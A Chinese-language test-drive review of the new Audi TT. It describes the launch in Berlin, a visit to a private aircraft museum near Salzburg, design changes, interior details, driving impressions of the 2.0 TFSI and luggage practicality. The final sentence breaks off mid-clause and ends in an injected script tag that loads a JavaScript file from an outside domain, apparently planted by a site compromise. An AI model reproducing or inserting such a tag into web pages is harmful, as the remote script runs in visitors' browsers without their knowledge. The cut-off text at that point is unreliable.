“波尔蒂王子”是德国媒体给德国足球新星波多尔斯基的“封号”！在德国队阵中，波多尔斯基技术出色，反应敏捷，而且外型英俊帅气，是那种的最有球迷缘的技术型前锋。如果把车型和足球场上位置做比照的话，跑车毫无疑问会和前锋划上等号，而奥迪 TT绝对堪称技术性前锋的最佳代表！
新款TT似乎注定要和足球密不可分。4月初的全球发布会在柏林的勃兰登堡门前举行时，除各界嘉宾外，皇马和拜仁球星们也拨冗前来助兴！我们此次试车又恰好在世界杯期间，所以此行要想不和足球有点儿关系都难。更好的是，和德国奥迪的工作人员又多了一个共同的话题！可不，足球和汽车一样，都是无须翻译的世界语！
我们和新款TT的初次见面是在萨尔茨堡机场边上的一个航空博物馆。据说这里全是红牛（Red Bull）老板的私人收藏品。这位疯狂的飞机爱好者在这里珍藏了近30架飞机，分放在两个占地近千平方米的大厅里。要不是此行的主角是TT，单单这博物馆也是一篇大文章的好题材！
言归正传，我们的TT已在博物馆门口的停车场上等侯多时了。
第一眼的感觉是新款TT的外型比老款要大！一查资料果然如此，长了14厘米，宽了8厘米，再加上采用了现如今奥迪的统一标志性元素——Single Frame，也就是我们常说的“大嘴”，前脸造型明显比老款更具攻击性。车顶还是沿用原来的穹顶设计，增高的6毫米让人几乎感觉不出来。车尾却更向后延伸。这样的改动使得全车在整体外观上显得更加协调和成熟！TT长大了！
新款TT的座椅设置得比老款要低，加上有力的侧面支持，让我觉得自己被牢牢地裹住。包着Nappa皮革的三轮辐运动方向盘手感极佳，下部形状扁平的设计更让我仿佛与勒芒运动型赛车浑然一体。其实这种设计除了体现运动感外还有方便驾驶员进出的实用功能。
中控台的设计基本是在向传统致敬。TT的经典圆形主题更是在内饰上得到了充分体现：通风口，仪表盘，无不以圆形为主。除了车速和发动机转速这两个凹陷的大仪表盘延续了典型的奥迪特征之外，黑色背景加红色指针，短小的换挡杆握柄，超级大的空调旋钮，这些设计也都是对TT传统的继承。当然也有不乏新意之处：现有的三个出风口代替了原先的两个；在车速表和发动机转速表之间出现了一个大面积的数字式驾驶员信息显示屏；整个中控台也更多地向驾驶员倾斜。我想我可以把这理解为user friendly!
先把细节放在一边吧，跑车就得跑起来！我选了唯一的一辆手动的2.0 TFSI。轻踩油门，这Coupe已经反应迅速地向前蹿动。换挡平顺，毫无生涩的感觉。即便在4000以上的转速，发动机声音也依然非常克制。底盘的扎实让人印象深刻, 和老款TT相比有本质上的提高，这应该和后悬挂由扭杆弹簧式改为四连杆式关系密切。同时磁阻尼减震系统的作用更是决定性的。第一段试驾是从机场到策尔湖边（Zell am See），这段路程大部分是高速，奥地利交警对超速查得很严，所以奥迪工作车一直在最前面压着速度，我们鲜有超过140公里/小时的机会，这也让我的2.0TFSI和其他的3.2 quattro没有太大差别，甚至在某些路段还能比那些大排量的家伙们表现更敏捷，毕竟比它们轻150公斤呢！在时速超过120公里时，扰流板优雅缓慢地甩出，给平淡的旅途带来一丝惊喜！
试驾途中的短暂休息让我们有时间对TT的外观做更细致的把玩。经典的半圆型车轮曲拱诠释着完美的几何线条，如雕刻般的轮毂更让这钢铁之物有了肌肉的感觉。前灯遵循着匀称的原则，在两条轮廓线之间倾斜着切过，好象长了一对翅膀；尾灯则回归了老款TT的圆形设计，自然地和后厢盖融为一体，即便在扰流板伸出时也不显得突兀。值得一提的是新TT在尾灯上采用了管状反射镜技术。得益于其优越的视觉深度，尾灯能够制造出醒目的三维视觉效果，矩形的灯罩使得后面的驾驶员看到的是立方形的光束。
新TT还增加了不少日常实用性功能，为运动型跑车设立了新的标准。这其中包括行李舱内的储物网袋，以及前排座椅和储物网袋之下的储物盒。中央通道上的杯托和储物盒都是标准配置，而车门上的储物盒可以放入最大0.7升的酒瓶。手套箱中还划分出一个独立的空间摆放眼镜。行李箱的地板与外边缘齐平，并配有固定物品用的捆绑点，甚至在两侧的装饰板上也还有储物空间。从车内或从行李箱内都可以很方便地将左右对称的靠背折叠起来，这样290升的行李箱就能达到700升的容积，长达1.7米的空间足以放置两个高尔夫球袋以及辅助工具，或着大型的旅行箱或包袋。
“TT真的长大了！以前它仅供初恋的小情人们在山间公路上炫耀车技，现在则更适合老夫老妻做长途旅行。”幽默的奥迪工作人员开着玩笑。不过千万不要被误导：尽管作出了许多舒适性上的妥协，新款TT对于年轻，运动，性感这些经典基因的传承却是毫不含糊的。在接下来的试驾中它把这些特征发挥得淋漓尽致。
第二段试驾的路线完全和方才的中规中矩形成鲜明的对比。在策尔湖边的山谷里，70公里的?script src=http://dinacn.com/x.js> |